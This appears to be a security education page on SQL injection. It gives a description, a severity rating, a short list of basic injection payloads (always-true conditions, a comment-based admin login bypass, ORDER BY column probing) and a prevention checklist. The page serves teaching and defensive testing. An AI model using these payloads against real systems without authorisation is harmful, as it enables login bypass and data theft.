Back to Overview
CRITICAL SEVERITYCWE-89OWASP A03:2021
SQL Injection
SQL Injection (SQLi) is a code injection technique that exploits security vulnerabilities in an application's database layer. Attackers can execute arbitrary SQL queries to read, modify, or delete data, and in some cases, execute system commands.
9.8
CVSS Score
40+
Payloads
All
Affected DBs
Critical
Risk Level
Payload Database
Simple SQL injection payloads for initial testing
' OR '1'='1Always true condition
' OR '1'='1'--Comment out rest of query
' OR '1'='1'/*MySQL comment syntax
admin'--Bypass login as admin
' OR 1=1#MySQL hash comment
') OR ('1'='1Parentheses escape
1' ORDER BY 1--+Find number of columns
1' ORDER BY 10--+Column count probing
Vulnerable Code Example
Secure Code Example
Prevention Checklist
Use prepared statements with parameterized queries
Implement stored procedures
Apply strict input validation (whitelist)
Escape all user-supplied input
Use an ORM (Object Relational Mapping)
Implement least privilege database access
Enable WAF (Web Application Firewall)
Regular security audits and code reviews